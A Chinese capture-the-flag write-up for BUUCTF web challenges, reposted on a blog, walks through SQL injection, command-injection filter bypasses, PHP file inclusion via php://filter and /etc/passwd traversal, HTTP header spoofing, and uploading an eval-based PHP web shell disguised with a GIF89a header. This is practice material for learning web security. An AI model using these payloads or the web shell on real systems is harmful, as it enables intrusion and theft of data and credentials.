BUUCTF--Web篇详细wp

这篇具有很好参考价值的文章主要介绍了BUUCTF--Web篇详细wp。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

CTF平台:https://buuoj.cn/

[极客大挑战 2019]EasySQL

使用万能密码登入即可。

1'or'1'='1  #万能密码(注意是英文小写)  

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

flag{c8aeab4b-a566-4d7e-a039-cf6393c61d76}

[极客大挑战 2019]Havefun

F12查看源代码 发现是PHP代码审计(小猫挺可爱呢~)

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

<!--
        $cat=$_GET['cat'];
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';
        }
        -->

传了一个变量 然后是GET请求 如果cat=dog 就会输出 flag 构造Payload:/?cat=dog

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

flag{86e415ca-8d55-4868-afb3-ec58d239dbb7}

[HCTF 2018]WarmUp

打开网页看到滑稽图 直接F12 然后访问这个敏感信息 source.php 直接看源码

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

flag{313235c5-75b2-4e8a-b225-8e7413865bc7}

[ACTF2020 新生赛]Include

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
这里我们看到了?file=flag.php我们猜测是文件包含漏洞 我们可以通过伪协议去读取想要的信息

文件包含分为本地文件包含 和 远程文件包含(php.ini可以进行配置)

allow_url_fopen=On/Off 本地文件包含(LFI)(开和关都可包含本地文件)
allow_url_include=On/Off 远程文件包含(RFI)

常见的文件包含 函数:PHP:include()、include_once()、require()、require_once()

  • Require: 找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本;
  • Include:找不到被包含的文件时只会产生一个(E_warinng),脚本将继续执行;
  • Require_once:与 include 类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含;

用法:?file=../../../../../../../../../../../../../../../../etc/passwd

PHP伪协议:

  • php://filter 用于读取源码
  • php://input 用于执行php代码

php://filter使用:

 php://filter/read=convert.base64-encode/resource=xxx  # 用base64编码的方式来读文件flag.php

Payload:/?file=php://filter/read=convert.base64-encode/resource=flag.php 然后Base64解码就可以得到flag

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

flag{8cd86bd7-28e2-4ac9-8e3c-9f6847a6ce6a}

[ACTF2020 新生赛]Exec

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
简单的命令执行 : 127.0.0.1 || cat /flag 即可得到flag

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

flag{6570b254-2c5b-4dee-a0ba-2a777452b1e5}

[强网杯 2019]随便注

输入1,2 输入3的时候发现报错了 说明只有两个字段
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
先放着 还没研究明白这题

[GXYCTF2019]Ping Ping Ping

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
输入:/?ip=127.0.0.1 有回显继续过滤 || ls 发现有flag.php文件 这里看到space 提示是空格绕过

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
这里可以参考:https://blog.csdn.net/a3320315/article/details/99773192

{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt: $IFS$9 $9指传过来的第9个参数
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

这里第1种方法不行 可能是{}被过滤了 直接看第3个但是还是过滤了 在尝试一些index.php 这里可以看到源代码 进行代码审计!

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

可以看到这里过滤了很多 这里方法有很多种 我就一种吧(比较懒)
内联执行:将指定的函数体插入并取代每一处调用该函数的地方

 `` 反引号 在linux中作为内联执行,执行输出结果
 cat `ls` //执行ls输出 index.php 和 flag.php 然后再执行 cat flag.php;cat index.php
 构造Payload :?ip=127.0.0.1|cat$IF$9`ls`

`
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

flag{ae43eee7-f909-4d59-b405-e52f3347c18f}

[SUCTF 2019]EasySQL

考点:堆叠注入

这里输入1,2有回显0有没有 字母也没有 尝试order 发现也被过滤了回显 Nonono

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
这里我们尝试一下堆叠注入 1;show databases; 发现有回显

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
查看数据库的表1; show tables; 发现 FLAG表 继续查询1;show columns from用来查询表中列名称 (发现这里也被过滤了)

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
其实做到这里就没思路了 去看别的大佬的文章 得知这里需要猜测后端数据库

sql内置语句:sql=“select”.post[‘query’]."||flag from Flag";
*没过滤 输入*1就相当于构造了select *,1 || flag from Flag,这条语句执行起来相当于select *, 1 from Flag

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

flag{7533aecc-59b3-49c3-a374-6d20ab6edbd4}

[极客大挑战 2019]Secret File

直接F12查看源代码 看到了一个./Archive_room.php进行访问,使用BP简单抓个包发现了 secr3t.php

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

这里访问 flag.php 他说在里面 发现没有然后看到刚刚源码的 include()函数 存在文件包含使用伪协议(上面有讲怎么 使用)

构造Payload:/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
Base64解码:http://www.jsons.cn/base64

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

flag{a402233a-9fc9-4d14-8c45-5dc839309887}

[极客大挑战 2019]LoveSQL

考点:联合注入

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
使用万能密码 1'or'1'='1

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

1' union select 1,2,3#  #联合查询查看 字段

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

1' union select 1,2,3,4#  #

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
这里输入4 报错 说明只有3个字段

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

1' union select 1,2,database()#  爆破数据库

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#  爆破geek表

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#  爆字段

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

1' union select 1,2,group_concat(concat_ws('~',username,password)) from geek.l0ve1ysq1#  用concat_ws函数连起来全部看一下

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
这里F12太长了看不了

flag{95ef6cab-f872-44ad-b725-ccaffc73865e}

[极客大挑战 2019]Http

考点:HTTP伪造请求头

知识点:HTTP请求响应头

referer:告诉服务器我是从哪个页面链接过来的(网址是跳转前的网址)
X-Forwarded-For: 用户访问服务器的 IP 地址
Content-Type:标识发送或接收到的数据的类型(使得http传输的不仅仅是文本还可以是图片视频等)
User-Agent: 使用的浏览器版本信息

F12查看一下源代码发现了/Secret.php 这里给了提示:https://www.Sycsecret.com 需要从这个url请求发送 直接抓包 改一下。

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

referer:https://www.Sycsecret.com  
User-Agent:Syclover
X-Forwarded-For:127.0.0.1

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
然后又给了提示 需要使用Syclover浏览器 然后又提示本地访问!

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

flag{728bec5d-fa79-4344-960b-c21796344bab}

[极客大挑战 2019]Knife

考点:一句话木马和WebSell工具的使用

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
这里直接给了提示和密码,直接尝试用蚁剑进行连接 连接成功!!

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

flag{051fb5b7-4039-4242-9a69-eeb6e3c1e42b}

[极客大挑战 2019]Upload

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
这里回显 NO php 说明不能后缀为php 尝试使用 phtml文件 不能包含:" <? " 还要进行绕过

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

使用 script标签 绕过“<?”限制:<script language='php'>@eval($_POST['cmd']);</script> 这里还是不行 说上传的不图片!!

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
使用 GIF89a 图片头文件欺骗 php会检测其为gif图片 这里终于上传成功了!!!flag在根目录下 直接查看即可。

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

flag{cafd9be5-a8fd-4df3-a495-fd08c6fb0a2f}

[ACTF2020 新生赛]Upload

这里要把后缀改了 jpg png都行 然后和上一题一样的方法 a.phtml 然后上传成功!!

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
这里告诉了上传路径直接蚁剑连接 :./uplo4d/71056c0c9cb12f2b7d720156da9eabf1.phtml

buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp
buuctfweb,CTF,CTF,BUUCTF,Web,php,解析wp

flag{e6460410-638d-4560-ab9b-34fa22f30854}文章来源地址https://www.toymoban.com/news/detail-775222.html

到了这里,关于BUUCTF--Web篇详细wp的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)

    提示:有一个良好的备份网站的习惯 故使用dirsearch工具扫描目录 得到的扫描结果中包含www.zip目录 通过url路径下载zip文件: index.php中含有关键代码: Get传参传入一个参数select,后端将其序列化 class.php: construct 是构造函数,在对象被创建的时候自动调用,进行类的初始化,

    2024年02月05日
    浏览(78)
  • 攻防世界ctf web easyphp题解wp

    第一步,用科学计数法绕过 a=1e9 第二步,用php代码编写MD5碰撞脚本得到b=53724 第三步,绕过is_numeric函数 第四步,绕过is_array函数  第五步,绕过array_search函数 一定要对传值url编码 提交得到flag  

    2024年02月16日
    浏览(45)
  • *CTF 2023 web jwt2struts 题解wp

    根据题目名字猜测,这题考察jwt和Struts2 包里面果然有一个cookie 验证了,是jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoyMDA2MjI1MjgxfQ.F7vOtdqg48M1DYK4tVZywTipIYDqKfsBSju7ekLSecU 我们的目标应该是把 user 改成 admin 首先,直接修改试试,结果是不行的。 再尝试一下爆破: 也是不行

    2024年02月14日
    浏览(39)
  • 第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce

    感谢N1CTF提供的题目 声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护 这道题对于我来说涉猎的广度大难度大,对于佬来说就洒洒水,所以这个wp可能会绕圈子或者复杂化,也可以去看前几名的题解,都非常不错!

    2024年02月20日
    浏览(52)
  • 【CTF-web】变量1(php全局变量)

    题目链接:https://ctf.bugku.com/challenges/detail/id/76.html 注意到$$args,那么我们可以通过args输入一个已定义变量的名称来得到它的值,于是查询php的九大全局变量,如下表所示。 变量 作用 $_POST 广泛用于收集提交 method=“post” 的 HTML 表单后的表单数据。$_POST 也常用于传递变量。

    2024年02月12日
    浏览(46)
  • CTF比赛中Web的php伪协议类型题小结

    在CTF中经常使用的是php://filter和php://input php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码 data伪协议只有在php5.3且include=on时可以写木马。 file://用于访问本地文件系统 用法: file://[文件的绝对路径和文件名] 封装伪协议命令

    2024年02月15日
    浏览(40)
  • [wp]2023中山市第三届香山杯 web PHP_unserialize_pro

    考点: 反序列化漏洞POP的构造 eval()函数恶意php代码执行 []通配的形式 绕过黑名单字母 源代码: 代码审计: 先找出口函数:为eval() 然后执行eval()函数 就必须触 发__invoke()魔术方法, __invoke():当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。 所以我们

    2024年02月08日
    浏览(49)
  • 小迪安全20WEB 攻防-PHP 特性&缺陷对比函数&CTF 考点&CMS 审计实例

    #研究对象 PHP代码漏洞(代码问题) # 知识点: 1 、过滤函数缺陷绕过 2 、 CTF 考点与代码审计 一、原理-缺陷函数-使用讲解-本地 内置函数: 大部分是比较函数(过滤时使用的函数) (1)、== 与 === : 参考: PHP 浅谈 == 和=== 中,数字和字符串比较的问题。_php 数字==字符串

    2024年01月19日
    浏览(56)
  • 渗透测试练习题解析 4(CTF web)

    考点:git 泄露 进入靶场后只有一串文字,源代码、抓包之类的都没有敏感信息出现,直接用 kali 的 dirsearch 扫描 发现存在 .git 目录,猜测应该是源码泄露,使用 GitHack 扒一下源码,这里我试了很多次,前面都没成功,后面不知道为什么又成功了,应该是网络问题(你们试了

    2024年02月20日
    浏览(39)
  • 渗透测试练习题解析 3(CTF web)

    考点:反序列化漏洞利用 进入靶场,查看检查信息,发现存在两个参数 func 和 p 查看页面源代码 payload:func=file_get_contentsp=php://filter/resource=index.php 整理后,就是 PHP 代码审计了 gettime 中使用了 call_user_func() 函数 也就是说 $func 会被 当成回调函数来执行 ,而 $p 则当做 $func 的

    2024年02月22日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包